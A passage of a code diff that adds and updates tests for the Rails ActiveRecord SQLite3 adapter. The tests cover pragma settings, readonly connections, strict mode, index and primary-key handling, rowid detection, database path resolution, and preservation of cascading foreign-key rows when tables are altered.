+          with_memory_connection(pragmas: { mmap_size: "200" }) do |conn|
+            assert_equal [], conn.execute("PRAGMA mmap_size")
+          end
+
+          error = assert_raises(ActiveRecord::StatementInvalid) do
+            with_memory_connection(pragmas: { mmap_size: false }) do |conn|
+              conn.execute("PRAGMA mmap_size")
+            end
+          end
+          assert_match(/undefined method [`']to_i'/, error.message)
+
+          error = assert_raises(ActiveRecord::StatementInvalid) do
+            with_memory_connection(pragmas: { mmap_size: :false }) do |conn|
+              conn.execute("PRAGMA mmap_size")
+            end
+          end
+          assert_match(/undefined method [`']to_i'/, error.message)
+        else
+          with_file_connection(pragmas: { mmap_size: 100 }) do |conn|
+            assert_equal [{ "mmap_size" => 100 }], conn.execute("PRAGMA mmap_size")
+          end
+
+          with_file_connection(pragmas: { mmap_size: "200" }) do |conn|
+            assert_equal [{ "mmap_size" => 200 }], conn.execute("PRAGMA mmap_size")
+          end
+
+          error = assert_raises(ActiveRecord::StatementInvalid) do
+            with_file_connection(pragmas: { mmap_size: false }) do |conn|
+              conn.execute("PRAGMA mmap_size")
+            end
+          end
+          assert_match(/undefined method [`']to_i'/, error.message)
+
+          error = assert_raises(ActiveRecord::StatementInvalid) do
+            with_file_connection(pragmas: { mmap_size: :false }) do |conn|
+              conn.execute("PRAGMA mmap_size")
+            end
+          end
+          assert_match(/undefined method [`']to_i'/, error.message)
+        end
+      end
+
+      def test_overriding_default_cache_size_pragma
+        method_name = in_memory_db? ? :with_memory_connection : :with_file_connection
+
+        send(method_name, pragmas: { cache_size: 100 }) do |conn|
+          assert_equal [{ "cache_size" => 100 }], conn.execute("PRAGMA cache_size")
+        end
+
+        send(method_name, pragmas: { cache_size: "200" }) do |conn|
+          assert_equal [{ "cache_size" => 200 }], conn.execute("PRAGMA cache_size")
+        end
+
+        error = assert_raises(ActiveRecord::StatementInvalid) do
+          send(method_name, pragmas: { cache_size: false }) do |conn|
+            conn.execute("PRAGMA cache_size")
+          end
+        end
+        assert_match(/undefined method [`']to_i'/, error.message)
+
+        error = assert_raises(ActiveRecord::StatementInvalid) do
+          send(method_name, pragmas: { cache_size: :false }) do |conn|
+            conn.execute("PRAGMA cache_size")
+          end
+        end
+        assert_match(/undefined method [`']to_i'/, error.message)
+      end
+
+      def test_setting_new_pragma
+        if in_memory_db?
+          with_memory_connection(pragmas: { temp_store: :memory }) do |conn|
+            assert_equal [{ "foreign_keys" => 1 }], conn.execute("PRAGMA foreign_keys")
+            assert_equal [{ "journal_mode" => "memory" }], conn.execute("PRAGMA journal_mode")
+            assert_equal [{ "synchronous" => 1 }], conn.execute("PRAGMA synchronous")
+            assert_equal [{ "journal_size_limit" => 67108864 }], conn.execute("PRAGMA journal_size_limit")
+            assert_equal [], conn.execute("PRAGMA mmap_size")
+            assert_equal [{ "cache_size" => 2000 }], conn.execute("PRAGMA cache_size")
+            assert_equal [{ "temp_store" => 2 }], conn.execute("PRAGMA temp_store")
+          end
+        else
+          with_file_connection(pragmas: { temp_store: :memory }) do |conn|
+            assert_equal [{ "foreign_keys" => 1 }], conn.execute("PRAGMA foreign_keys")
+            assert_equal [{ "journal_mode" => "wal" }], conn.execute("PRAGMA journal_mode")
+            assert_equal [{ "synchronous" => 1 }], conn.execute("PRAGMA synchronous")
+            assert_equal [{ "journal_size_limit" => 67108864 }], conn.execute("PRAGMA journal_size_limit")
+            assert_equal [{ "mmap_size" => 134217728 }], conn.execute("PRAGMA mmap_size")
+            assert_equal [{ "cache_size" => 2000 }], conn.execute("PRAGMA cache_size")
+            assert_equal [{ "temp_store" => 2 }], conn.execute("PRAGMA temp_store")
+          end
+        end
+      end
+
+      def test_setting_invalid_pragma
+        if in_memory_db?
+          warning = capture(:stderr) do
+            with_memory_connection(pragmas: { invalid: true }) do |conn|
+              conn.execute("PRAGMA foreign_keys")
+            end
+          end
+          assert_match(/Unknown SQLite pragma: invalid/, warning)
+        else
+          warning = capture(:stderr) do
+            with_file_connection(pragmas: { invalid: true }) do |conn|
+              conn.execute("PRAGMA foreign_keys")
+            end
+          end
+          assert_match(/Unknown SQLite pragma: invalid/, warning)
+        end
+      end
+
       def test_exec_no_binds
         with_example_table "id int, data string" do
           result = @conn.exec_query("SELECT id, data FROM ex")
@@ -137,7 +437,7 @@ def test_exec_no_binds
           assert_equal 2, result.columns.length
           assert_equal %w{ id data }, result.columns
 
-          @conn.exec_query('INSERT INTO ex (id, data) VALUES (1, "foo")')
+          @conn.exec_query("INSERT INTO ex (id, data) VALUES (1, 'foo')")
           result = @conn.exec_query("SELECT id, data FROM ex")
           assert_equal 1, result.rows.length
           assert_equal 2, result.columns.length
@@ -148,7 +448,7 @@ def test_exec_no_binds
 
       def test_exec_query_with_binds
         with_example_table "id int, data string" do
-          @conn.exec_query('INSERT INTO ex (id, data) VALUES (1, "foo")')
+          @conn.exec_query("INSERT INTO ex (id, data) VALUES (1, 'foo')")
           result = @conn.exec_query(
             "SELECT id, data FROM ex WHERE id = ?", nil, [Relation::QueryAttribute.new(nil, 1, Type::Value.new)])
 
@@ -161,7 +461,7 @@ def test_exec_query_with_binds
 
       def test_exec_query_typecasts_bind_vals
         with_example_table "id int, data string" do
-          @conn.exec_query('INSERT INTO ex (id, data) VALUES (1, "foo")')
+          @conn.exec_query("INSERT INTO ex (id, data) VALUES (1, 'foo')")
 
           result = @conn.exec_query(
             "SELECT id, data FROM ex WHERE id = ?", nil, [Relation::QueryAttribute.new("id", "1-fuu", Type::Integer.new)])
@@ -174,23 +474,23 @@ def test_exec_query_typecasts_bind_vals
       end
 
       def test_quote_binary_column_escapes_it
-        DualEncoding.connection.execute(<<-eosql)
+        DualEncoding.lease_connection.execute(<<~SQL)
           CREATE TABLE IF NOT EXISTS dual_encodings (
             id integer PRIMARY KEY AUTOINCREMENT,
             name varchar(255),
             data binary
           )
-        eosql
-        str = "\x80".force_encoding("ASCII-8BIT")
+        SQL
+        str = (+"\x80").force_encoding("ASCII-8BIT")
         binary = DualEncoding.new name: "�������", data: str
         binary.save!
         assert_equal str, binary.data
       ensure
-        DualEncoding.connection.drop_table "dual_encodings", if_exists: true
+        DualEncoding.lease_connection.drop_table "dual_encodings", if_exists: true
       end
 
       def test_type_cast_should_not_mutate_encoding
-        name = "hello".force_encoding(Encoding::ASCII_8BIT)
+        name = (+"hello").force_encoding(Encoding::ASCII_8BIT)
         Owner.create(name: name)
         assert_equal Encoding::ASCII_8BIT, name.encoding
       ensure
@@ -209,15 +509,15 @@ def test_execute
         end
       end
 
-      def test_quote_string
-        assert_equal "''", @conn.quote_string("'")
-      end
-
       def test_insert_logged
         with_example_table do
           sql = "INSERT INTO ex (number) VALUES (10)"
           name = "foo"
-          assert_logged [[sql, name, []]] do
+
+          pragma_query = ["PRAGMA table_xinfo(\"ex\")", "SCHEMA", []]
+          schema_query = ["SELECT sql FROM (SELECT * FROM sqlite_master UNION ALL SELECT * FROM sqlite_temp_master) WHERE type = 'table' AND name = 'ex'", "SCHEMA", []]
+          modified_insert_query = [(sql + ' RETURNING "id"'), name, []]
+          assert_logged [pragma_query, schema_query, modified_insert_query] do
             @conn.insert(sql, name)
           end
         end
@@ -232,6 +532,40 @@ def test_insert_id_value_returned
         end
       end
 
+      def test_exec_insert_with_returning_disabled
+        original_conn = @conn
+        @conn = SQLite3Adapter.new(
+          database: ":memory:",
+          adapter: "sqlite3",
+          insert_returning: false,
+        )
+        with_example_table do
+          result = assert_deprecated(ActiveRecord.deprecator) do
+            @conn.exec_insert("insert into ex (number) VALUES ('foo')", nil, [], "id")
+          end
+          expect = @conn.select_value("select max(id) from ex")
+          assert_equal expect.to_i, result.rows.first.first
+        end
+        @conn = original_conn
+      end
+
+      def test_exec_insert_default_values_with_returning_disabled
+        original_conn = @conn
+        @conn = SQLite3Adapter.new(
+          database: ":memory:",
+          adapter: "sqlite3",
+          insert_returning: false,
+        )
+        with_example_table do
+          result = assert_deprecated(ActiveRecord.deprecator) do
+            @conn.exec_insert("insert into ex DEFAULT VALUES", nil, [], "id")
+          end
+          expect = @conn.select_value("select max(id) from ex")
+          assert_equal expect.to_i, result.rows.first.first
+        end
+        @conn = original_conn
+      end
+
       def test_select_rows
         with_example_table do
           2.times do |i|
@@ -275,28 +609,19 @@ def test_tables
       end
 
       def test_tables_logs_name
-        sql = <<-SQL
-          SELECT name FROM sqlite_master
-          WHERE type = 'table' AND name <> 'sqlite_sequence'
+        sql = <<~SQL
+          SELECT name FROM pragma_table_list WHERE schema <> 'temp' AND name NOT IN ('sqlite_sequence', 'sqlite_schema') AND type IN ('table')
         SQL
+        @conn.connect!
         assert_logged [[sql.squish, "SCHEMA", []]] do
           @conn.tables
         end
       end
 
-      def test_indexes_logs_name
-        with_example_table do
-          assert_logged [["PRAGMA index_list(\"ex\")", "SCHEMA", []]] do
-            assert_deprecated { @conn.indexes("ex", "hello") }
-          end
-        end
-      end
-
       def test_table_exists_logs_name
         with_example_table do
-          sql = <<-SQL
-            SELECT name FROM sqlite_master
-            WHERE type = 'table' AND name <> 'sqlite_sequence' AND name = 'ex'
+          sql = <<~SQL
+            SELECT name FROM pragma_table_list WHERE schema <> 'temp' AND name NOT IN ('sqlite_sequence', 'sqlite_schema') AND name = 'ex' AND type IN ('table')
           SQL
           assert_logged [[sql.squish, "SCHEMA", []]] do
             assert @conn.table_exists?("ex")
@@ -319,7 +644,7 @@ def test_columns_with_default
           column = @conn.columns("ex").find { |x|
             x.name == "number"
           }
-          assert_equal "10", column.default
+          assert_equal 10, column.default
         end
       end
 
@@ -330,6 +655,14 @@ def test_columns_with_not_null
         end
       end
 
+      def test_add_column_with_not_null
+        with_example_table "id integer PRIMARY KEY AUTOINCREMENT, number integer not null" do
+          assert_nothing_raised { @conn.add_column :ex, :name, :string, null: false }
+          column = @conn.columns("ex").find { |x| x.name == "name" }
+          assert_not column.null, "column should not be null"
+        end
+      end
+
       def test_indexes_logs
         with_example_table do
           assert_logged [["PRAGMA index_list(\"ex\")", "SCHEMA", []]] do
@@ -353,6 +686,16 @@ def test_index
         end
       end
 
+      def test_index_with_if_not_exists
+        with_example_table do
+          @conn.add_index "ex", "id"
+
+          assert_nothing_raised do
+            @conn.add_index "ex", "id", if_not_exists: true
+          end
+        end
+      end
+
       def test_non_unique_index
         with_example_table do
           @conn.add_index "ex", "id", name: "fun"
@@ -369,6 +712,59 @@ def test_compound_index
         end
       end
 
+      def test_partial_index_with_comment
+        with_example_table do
+          @conn.add_index "ex", :id, name: "fun", where: "number > 0 /*tag:test*/"
+          index = @conn.indexes("ex").find { |idx| idx.name == "fun" }
+          assert_equal ["id"], index.columns
+          assert_equal "number > 0", index.where
+        end
+      end
+
+      if ActiveRecord::Base.lease_connection.supports_expression_index?
+        def test_expression_index
+          with_example_table do
+            @conn.add_index "ex", "max(id, number)", name: "expression"
+            index = @conn.indexes("ex").find { |idx| idx.name == "expression" }
+            assert_equal "max(id, number)", index.columns
+          end
+        end
+
+        def test_expression_index_with_trailing_comment
+          with_example_table do
+            @conn.execute "CREATE INDEX expression on ex (number % 10) /* comment */"
+            index = @conn.indexes("ex").find { |idx| idx.name == "expression" }
+            assert_equal "number % 10", index.columns
+          end
+        end
+
+        def test_expression_index_with_where
+          with_example_table do
+            @conn.add_index "ex", "id % 10, max(id, number)", name: "expression", where: "id > 1000"
+            index = @conn.indexes("ex").find { |idx| idx.name == "expression" }
+            assert_equal "id % 10, max(id, number)", index.columns
+            assert_equal "id > 1000", index.where
+          end
+        end
+
+        def test_complicated_expression
+          with_example_table do
+            @conn.execute "CREATE INDEX expression ON ex (id % 10, (CASE WHEN number > 0 THEN max(id, number) END))WHERE(id > 1000)"
+            index = @conn.indexes("ex").find { |idx| idx.name == "expression" }
+            assert_equal "id % 10, (CASE WHEN number > 0 THEN max(id, number) END)", index.columns
+            assert_equal "(id > 1000)", index.where
+          end
+        end
+
+        def test_not_everything_an_expression
+          with_example_table do
+            @conn.add_index "ex", "id, max(id, number)", name: "expression"
+            index = @conn.indexes("ex").find { |idx| idx.name == "expression" }
+            assert_equal "id, max(id, number)", index.columns
+          end
+        end
+      end
+
       def test_primary_key
         with_example_table do
           assert_equal "id", @conn.primary_key("ex")
@@ -384,37 +780,554 @@ def test_no_primary_key
         end
       end
 
+      class Barcode < ActiveRecord::Base
+      end
+
+      class BarcodeCustomPk < ActiveRecord::Base
+        self.primary_key = "code"
+      end
+
+      def test_copy_table_with_existing_records_have_custom_primary_key
+        connection = BarcodeCustomPk.lease_connection
+        connection.create_table(:barcode_custom_pks, primary_key: "code", id: :string, limit: 42, force: true) do |t|
+          t.text :other_attr
+        end
+        code = "214fe0c2-dd47-46df-b53b-66090b3c1d40"
+        BarcodeCustomPk.create!(code: code, other_attr: "xxx")
+
+        connection.remove_column("barcode_custom_pks", "other_attr")
+
+        assert_equal code, BarcodeCustomPk.first.id
+      ensure
+        BarcodeCustomPk.reset_column_information
+      end
+
+      class BarcodeCpk < ActiveRecord::Base
+        self.primary_key = ["region", "code"]
+      end
+
+      def test_copy_table_with_composite_primary_keys
+        connection = BarcodeCpk.lease_connection
+        connection.create_table(:barcode_cpks, primary_key: ["region", "code"], force: true) do |t|
+          t.string :region
+          t.string :code
+          t.text :other_attr
+        end
+        region = "US"
+        code = "214fe0c2-dd47-46df-b53b-66090b3c1d40"
+        BarcodeCpk.create!(region: region, code: code, other_attr: "xxx")
+
+        connection.remove_column("barcode_cpks", "other_attr")
+
+        assert_equal ["region", "code"], connection.primary_keys("barcode_cpks")
+
+        barcode = BarcodeCpk.first
+        assert_equal region, barcode.region
+        assert_equal code, barcode.code
+      ensure
+        BarcodeCpk.reset_column_information
+      end
+
+      def test_custom_primary_key_in_create_table
+        connection = Barcode.lease_connection
+        connection.create_table :barcodes, id: false, force: true do |t|
+          t.primary_key :id, :string
+        end
+
+        assert_equal "id", connection.primary_key("barcodes")
+
+        custom_pk = Barcode.columns_hash["id"]
+
+        assert_equal :string, custom_pk.type
+        assert_not custom_pk.null
+      ensure
+        Barcode.reset_column_information
+      end
+
+      def test_custom_primary_key_in_change_table
+        connection = Barcode.lease_connection
+        connection.create_table :barcodes, id: false, force: true do |t|
+          t.integer :dummy
+        end
+        connection.change_table :barcodes do |t|
+          t.primary_key :id, :string
+        end
+
+        assert_equal "id", connection.primary_key("barcodes")
+
+        custom_pk = Barcode.columns_hash["id"]
+
+        assert_equal :string, custom_pk.type
+        assert_not custom_pk.null
+      ensure
+        Barcode.reset_column_information
+      end
+
+      def test_add_column_with_custom_primary_key
+        connection = Barcode.lease_connection
+        connection.create_table :barcodes, id: false, force: true do |t|
+          t.integer :dummy
+        end
+        connection.add_column :barcodes, :id, :string, primary_key: true
+
+        assert_equal "id", connection.primary_key("barcodes")
+
+        custom_pk = Barcode.columns_hash["id"]
+
+        assert_equal :string, custom_pk.type
+        assert_not custom_pk.null
+      ensure
+        Barcode.reset_column_information
+      end
+
+      def test_remove_column_preserves_index_options
+        connection = Barcode.lease_connection
+        connection.create_table :barcodes, force: true do |t|
+          t.string :code
+          t.string :region
+          t.boolean :bool_attr
+
+          t.index :code, unique: true, name: "unique"
+          t.index :code, where: :bool_attr, name: "partial"
+          t.index :code, name: "ordered", order: { code: :desc }
+        end
+        connection.remove_column :barcodes, :region
+
+        indexes = connection.indexes("barcodes")
+
+        partial_index = indexes.find { |idx| idx.name == "partial" }
+        assert_equal "bool_attr", partial_index.where
+
+        unique_index = indexes.find { |idx| idx.name == "unique" }
+        assert unique_index.unique
+
+        ordered_index = indexes.find { |idx| idx.name == "ordered" }
+        assert_equal :desc, ordered_index.orders
+      ensure
+        Barcode.reset_column_information
+      end
+
+      def test_auto_increment_preserved_on_table_changes
+        connection = Barcode.lease_connection
+        connection.create_table :barcodes, force: true do |t|
+          t.string :code
+        end
+
+        pk_column = connection.columns("barcodes").find { |col| col.name == "id" }
+        sql = connection.exec_query("SELECT sql FROM sqlite_master WHERE tbl_name='barcodes'").rows.first.first
+
+        assert_predicate(pk_column, :auto_increment?)
+        assert(sql.match?("PRIMARY KEY AUTOINCREMENT"))
+
+        connection.change_column(:barcodes, :code, :integer)
+
+        pk_column = connection.columns("barcodes").find { |col| col.name == "id" }
+        sql = connection.exec_query("SELECT sql FROM sqlite_master WHERE tbl_name='barcodes'").rows.first.first
+
+        assert_predicate(pk_column, :auto_increment?)
+        assert(sql.match?("PRIMARY KEY AUTOINCREMENT"))
+      end
+
       def test_supports_extensions
         assert_not @conn.supports_extensions?, "does not support extensions"
       end
 
       def test_respond_to_enable_extension
-        assert @conn.respond_to?(:enable_extension)
+        assert_respond_to @conn, :enable_extension
       end
 
       def test_respond_to_disable_extension
-        assert @conn.respond_to?(:disable_extension)
+        assert_respond_to @conn, :disable_extension
       end
 
       def test_statement_closed
-        db = ::SQLite3::Database.new(ActiveRecord::Base.
-                                   configurations["arunit"]["database"])
+        db_config = ActiveRecord::Base.configurations.configs_for(env_name: "arunit", name: "primary")
+        db = ::SQLite3::Database.new(db_config.database)
+
+        @conn.connect!
+
         statement = ::SQLite3::Statement.new(db,
                                            "CREATE TABLE statement_test (number integer not null)")
         statement.stub(:step, -> { raise ::SQLite3::BusyException.new("busy") }) do
-          assert_called(statement, :columns, returns: []) do
-            assert_called(statement, :close) do
-              ::SQLite3::Statement.stub(:new, statement) do
-                assert_raises ActiveRecord::StatementInvalid do
-                  @conn.exec_query "select * from statement_test"
-                end
+          assert_called(statement, :close) do
+            ::SQLite3::Statement.stub(:new, statement) do
+              error = assert_raises ActiveRecord::StatementTimeout do
+                @conn.exec_query "select * from statement_test"
               end
+              assert_equal @conn.pool, error.connection_pool
             end
           end
         end
       end
 
+      def test_db_is_not_readonly_when_readonly_option_is_false
+        conn = SQLite3Adapter.new(
+          database: ":memory:",
+          adapter: "sqlite3",
+          readonly: false,
+        )
+        conn.connect!
+
+        assert_not_predicate conn.raw_connection, :readonly?
+      end
+
+      def test_db_is_not_readonly_when_readonly_option_is_unspecified
+        conn = SQLite3Adapter.new(
+          database: ":memory:",
+          adapter: "sqlite3",
+        )
+        conn.connect!
+
+        assert_not_predicate conn.raw_connection, :readonly?
+      end
+
+      def test_db_is_readonly_when_readonly_option_is_true
+        conn = SQLite3Adapter.new(
+          database: ":memory:",
+          adapter: "sqlite3",
+          readonly: true,
+        )
+        conn.connect!
+
+        assert_predicate conn.raw_connection, :readonly?
+      end
+
+      def test_writes_are_not_permitted_to_readonly_databases
+        conn = SQLite3Adapter.new(
+          database: ":memory:",
+          adapter: "sqlite3",
+          readonly: true,
+        )
+        conn.connect!
+
+        exception = assert_raises(ActiveRecord::StatementInvalid) do
+          conn.execute("CREATE TABLE test(id integer)")
+        end
+        assert_match("SQLite3::ReadOnlyException", exception.message)
+        assert_equal conn.pool, exception.connection_pool
+      end
+
+      def test_strict_strings_by_default
+        conn = SQLite3Adapter.new(database: ":memory:", adapter: "sqlite3")
+        conn.create_table :testings
+
+        assert_nothing_raised do
+          conn.add_index :testings, :non_existent
+        end
+
+        with_strict_strings_by_default do
+          conn = SQLite3Adapter.new(database: ":memory:", adapter: "sqlite3")
+          conn.create_table :testings
+
+          error = assert_raises(StandardError) do
+            conn.add_index :testings, :non_existent2
+          end
+          assert_match(/no such column: "?non_existent2"?/, error.message)
+          assert_equal conn.pool, error.connection_pool
+        end
+      end
+
+      def test_strict_strings_by_default_and_true_in_database_yml
+        conn = SQLite3Adapter.new(database: ":memory:", adapter: "sqlite3", strict: true)
+        conn.create_table :testings
+
+        error = assert_raises(StandardError) do
+          conn.add_index :testings, :non_existent
+        end
+        assert_match(/no such column: "?non_existent"?/, error.message)
+        assert_equal conn.pool, error.connection_pool
+
+        with_strict_strings_by_default do
+          conn = SQLite3Adapter.new(database: ":memory:", adapter: "sqlite3", strict: true)
+          conn.create_table :testings
+
+          error = assert_raises(StandardError) do
+            conn.add_index :testings, :non_existent2
+          end
+          assert_match(/no such column: "?non_existent2"?/, error.message)
+          assert_equal conn.pool, error.connection_pool
+        end
+      end
+
+      def test_strict_strings_by_default_and_false_in_database_yml
+        conn = SQLite3Adapter.new(database: ":memory:", adapter: "sqlite3", strict: false)
+        conn.create_table :testings
+
+        assert_nothing_raised do
+          conn.add_index :testings, :non_existent
+        end
+
+        with_strict_strings_by_default do
+          conn = SQLite3Adapter.new(database: ":memory:", adapter: "sqlite3", strict: false)
+          conn.create_table :testings
+
+          assert_nothing_raised do
+            conn.add_index :testings, :non_existent
+          end
+        end
+      end
+
+      def test_rowid_column
+        with_example_table "id_uppercase INTEGER PRIMARY KEY" do
+          assert @conn.columns("ex").index_by(&:name)["id_uppercase"].rowid
+        end
+      end
+
+      def test_lowercase_rowid_column
+        with_example_table "id_lowercase integer PRIMARY KEY" do
+          assert @conn.columns("ex").index_by(&:name)["id_lowercase"].rowid
+        end
+      end
+
+      def test_non_integer_column_returns_false_for_rowid
+        with_example_table "id_int_short int PRIMARY KEY" do
+          assert_not @conn.columns("ex").index_by(&:name)["id_int_short"].rowid
+        end
+      end
+
+      def test_mixed_case_integer_column_returns_true_for_rowid
+        with_example_table "id_mixed_case InTeGeR PRIMARY KEY" do
+          assert @conn.columns("ex").index_by(&:name)["id_mixed_case"].rowid
+        end
+      end
+
+      def test_rowid_column_with_autoincrement_returns_true_for_rowid
+        with_example_table "id_autoincrement integer PRIMARY KEY AUTOINCREMENT" do
+          assert @conn.columns("ex").index_by(&:name)["id_autoincrement"].rowid
+        end
+      end
+
+      def test_integer_cpk_column_returns_false_for_rowid
+        with_example_table("id integer, shop_id integer, PRIMARY KEY (shop_id, id)", "cpk_table") do
+          assert_not @conn.columns("cpk_table").any?(&:rowid)
+        end
+      end
+
+      def test_sqlite_extensions_are_constantized_for_the_client_constructor
+        mock_adapter = Class.new(SQLite3Adapter) do
+          class << self
+            attr_reader :new_client_arg
+
+            def new_client(config)
+              @new_client_arg = config
+            end
+          end
+        end
+
+        conn = mock_adapter.new({
+          database: ":memory:",
+          adapter: "sqlite3",
+          extensions: [
+            "/string/literal/path",
+            "ActiveRecord::ConnectionAdapters::SQLite3AdapterTest::SQLiteExtensionSpec",
+          ]
+        })
+        conn.send(:connect)
+
+        assert_equal(["/string/literal/path", SQLiteExtensionSpec], conn.class.new_client_arg[:extensions])
+      end
+
+      test "path resolution of a relative file path" do
+        database = "storage/production/main.sqlite3"
+        assert_equal("storage/production/main.sqlite3", SQLite3Adapter.resolve_path(database))
+        assert_equal("/foo/storage/production/main.sqlite3", SQLite3Adapter.resolve_path(database, root: "/foo"))
+
+        with_rails_root do
+          assert_equal("/app/storage/production/main.sqlite3", SQLite3Adapter.resolve_path(database))
+          assert_equal("/foo/storage/production/main.sqlite3", SQLite3Adapter.resolve_path(database, root: "/foo"))
+        end
+      end
+
+      test "path resolution of an absolute file path" do
+        database = "/var/storage/production/main.sqlite3"
+        assert_equal("/var/storage/production/main.sqlite3", SQLite3Adapter.resolve_path(database))
+        assert_equal("/var/storage/production/main.sqlite3", SQLite3Adapter.resolve_path(database, root: "/foo"))
+
+        with_rails_root do
+          assert_equal("/var/storage/production/main.sqlite3", SQLite3Adapter.resolve_path(database))
+          assert_equal("/var/storage/production/main.sqlite3", SQLite3Adapter.resolve_path(database, root: "/foo"))
+        end
+      end
+
+      test "path resolution of an absolute URI" do
+        database = "file:/var/storage/production/main.sqlite3"
+        assert_equal("/var/storage/production/main.sqlite3", SQLite3Adapter.resolve_path(database))
+        assert_equal("/var/storage/production/main.sqlite3", SQLite3Adapter.resolve_path(database, root: "/foo"))
+
+        with_rails_root do
+          assert_equal("/var/storage/production/main.sqlite3", SQLite3Adapter.resolve_path(database))
+          assert_equal("/var/storage/production/main.sqlite3", SQLite3Adapter.resolve_path(database, root: "/foo"))
+        end
+      end
+
+      test "path resolution of an absolute URI with query params" do
+        database = "file:/var/storage/production/main.sqlite3?vfs=unix-dotfile"
+        assert_equal("/var/storage/production/main.sqlite3", SQLite3Adapter.resolve_path(database))
+        assert_equal("/var/storage/production/main.sqlite3", SQLite3Adapter.resolve_path(database, root: "/foo"))
+
+        with_rails_root do
+          assert_equal("/var/storage/production/main.sqlite3", SQLite3Adapter.resolve_path(database))
+          assert_equal("/var/storage/production/main.sqlite3", SQLite3Adapter.resolve_path(database, root: "/foo"))
+        end
+      end
+
+      test "path resolution of a relative URI" do
+        database = "file:storage/production/main.sqlite3"
+        assert_equal("storage/production/main.sqlite3", SQLite3Adapter.resolve_path(database))
+        assert_equal("/foo/storage/production/main.sqlite3", SQLite3Adapter.resolve_path(database, root: "/foo"))
+
+        with_rails_root do
+          assert_equal("/app/storage/production/main.sqlite3", SQLite3Adapter.resolve_path(database))
+          assert_equal("/foo/storage/production/main.sqlite3", SQLite3Adapter.resolve_path(database, root: "/foo"))
+        end
+      end
+
+      test "path resolution of a relative URI with query params" do
+        database = "file:storage/production/main.sqlite3?vfs=unix-dotfile"
+        assert_equal("storage/production/main.sqlite3", SQLite3Adapter.resolve_path(database))
+        assert_equal("/foo/storage/production/main.sqlite3", SQLite3Adapter.resolve_path(database, root: "/foo"))
+
+        with_rails_root do
+          assert_equal("/app/storage/production/main.sqlite3", SQLite3Adapter.resolve_path(database))
+          assert_equal("/foo/storage/production/main.sqlite3", SQLite3Adapter.resolve_path(database, root: "/foo"))
+        end
+      end
+
+      def test_alter_table_with_fk_preserves_rows_when_referenced_table_altered
+        conn = SQLite3Adapter.new(database: ":memory:", adapter: "sqlite3", strict: false)
+
+        conn.create_table :authors do |t|
+          t.string :name, null: false
+        end
+
+        conn.create_table :books do |t|
+          t.string  :title, null: false
+          t.integer :author_id, null: false
+        end
+        conn.add_foreign_key :books, :authors, on_delete: :cascade
+
+        conn.execute("INSERT INTO authors (id, name) VALUES (1, 'Douglas Adams');")
+        conn.execute("INSERT INTO books (id, title, author_id) VALUES (42, 'The Hitchhiker''s Guide', 1);")
+        conn.execute("INSERT INTO books (id, title, author_id) VALUES (43, 'Restaurant at the End', 1);")
+
+        initial_book_count = conn.select_value("SELECT COUNT(*) FROM books")
+        assert_equal 2, initial_book_count
+
+        conn.add_column :authors, :email, :string
+
+        book_count = conn.select_value("SELECT COUNT(*) FROM books")
+        author_count = conn.select_value("SELECT COUNT(*) FROM authors")
+
+        assert_equal 2, book_count, "Books were CASCADE deleted when authors table was altered!"
+        assert_equal 1, author_count, "Authors were lost during table alteration!"
+      ensure
+        conn.disconnect! if conn
+      end
+
+      def test_alter_table_with_fk_preserves_rows_when_adding_fk_to_referenced_table
+        conn = SQLite3Adapter.new(database: ":memory:", adapter: "sqlite3", strict: false)
+
+        conn.create_table :groups do |t|
+          t.string :name, null: false
+        end
+
+        conn.create_table :users do |t|
+          t.string :username, null: false
+        end
+
+        conn.create_table :reports do |t|
+          t.string  :title, null: false
+          t.integer :group_id, null: false
+        end
+        conn.add_foreign_key :reports, :groups, on_delete: :cascade
+
+        conn.execute("INSERT INTO groups (id, name) VALUES (1, 'Admin Group');")
+        conn.execute("INSERT INTO users (id, username) VALUES (1, 'alice');")
+        conn.execute("INSERT INTO reports (id, title, group_id) VALUES (1, 'Report A', 1);")
+        conn.execute("INSERT INTO reports (id, title, group_id) VALUES (2, 'Report B', 1);")
+
+        initial_report_count = conn.select_value("SELECT COUNT(*) FROM reports")
+        assert_equal 2, initial_report_count
+
+        conn.add_column :groups, :owner_id, :integer
+        conn.add_foreign_key :groups, :users, column: :owner_id
+
+        report_count = conn.select_value("SELECT COUNT(*) FROM reports")
+        group_count = conn.select_value("SELECT COUNT(*) FROM groups")
+
+        assert_equal 2, report_count, "Reports were CASCADE deleted when groups table was altered!"
+        assert_equal 1, group_count, "Groups were lost during table alteration!"
+      ensure
+        conn.disconnect! if conn
+      end
+
+      def test_alter_table_with_multiple_cascade_fks_preserves_all_data
+        conn = SQLite3Adapter.new(database: ":memory:", adapter: "sqlite3", strict: false)
+
+        conn.create_table :authors do |t|
+          t.string :name, null: false
+        end
+
+        conn.create_table :books do |t|
+          t.string  :title, null: false
+          t.integer :author_id, null: false
+        end
+        conn.add_foreign_key :books, :authors, on_delete: :cascade
+
+        conn.create_table :articles do |t|
+          t.string  :headline, null: false
+          t.integer :author_id, null: false
+        end
+        conn.add_foreign_key :articles, :authors, on_delete: :cascade
+
+        conn.execute("INSERT INTO authors (id, name) VALUES (1, 'Douglas Adams');")
+        conn.execute("INSERT INTO books (id, title, author_id) VALUES (1, 'HHGTTG', 1);")
+        conn.execute("INSERT INTO articles (id, headline, author_id) VALUES (1, 'Towel Day', 1);")
+
+        conn.add_column :authors, :bio, :text
+
+        book_count = conn.select_value("SELECT COUNT(*) FROM books")
+        article_count = conn.select_value("SELECT COUNT(*) FROM articles")
+
+        assert_equal 1, book_count, "Books were CASCADE deleted when authors table was altered!"
+        assert_equal 1, article_count, "Articles were CASCADE deleted when authors table was altered!"
+      ensure
+        conn.disconnect! if conn
+      end
+
+      def test_rename_table_with_cascade_fk_preserves_referencing_data
+        conn = SQLite3Adapter.new(database: ":memory:", adapter: "sqlite3", strict: false)
+
+        conn.create_table :authors do |t|
+          t.string :name, null: false
+        end
+
+        conn.create_table :books do |t|
+          t.string  :title, null: false
+          t.integer :author_id, null: false
+        end
+        conn.add_foreign_key :books, :authors, on_delete: :cascade
+
+        conn.execute("INSERT INTO authors (id, name) VALUES (1, 'Douglas Adams');")
+        conn.execute("INSERT INTO books (id, title, author_id) VALUES (1, 'HHGTTG', 1);")
+
+        conn.rename_table :authors, :writers
+
+        book_count = conn.select_value("SELECT COUNT(*) FROM books")
+        assert_equal 1, book_count, "Books were CASCADE deleted when authors table was renamed!"
+      ensure
+        conn.disconnect! if conn
+      end
+
       private
+        def with_rails_root(&block)
+          mod = Module.new do
+            def self.root
+              Pathname.new("/app")
+            end
+          end
+          stub_const(Object, :Rails, mod, &block)
+        end
 
         def assert_logged(logs)
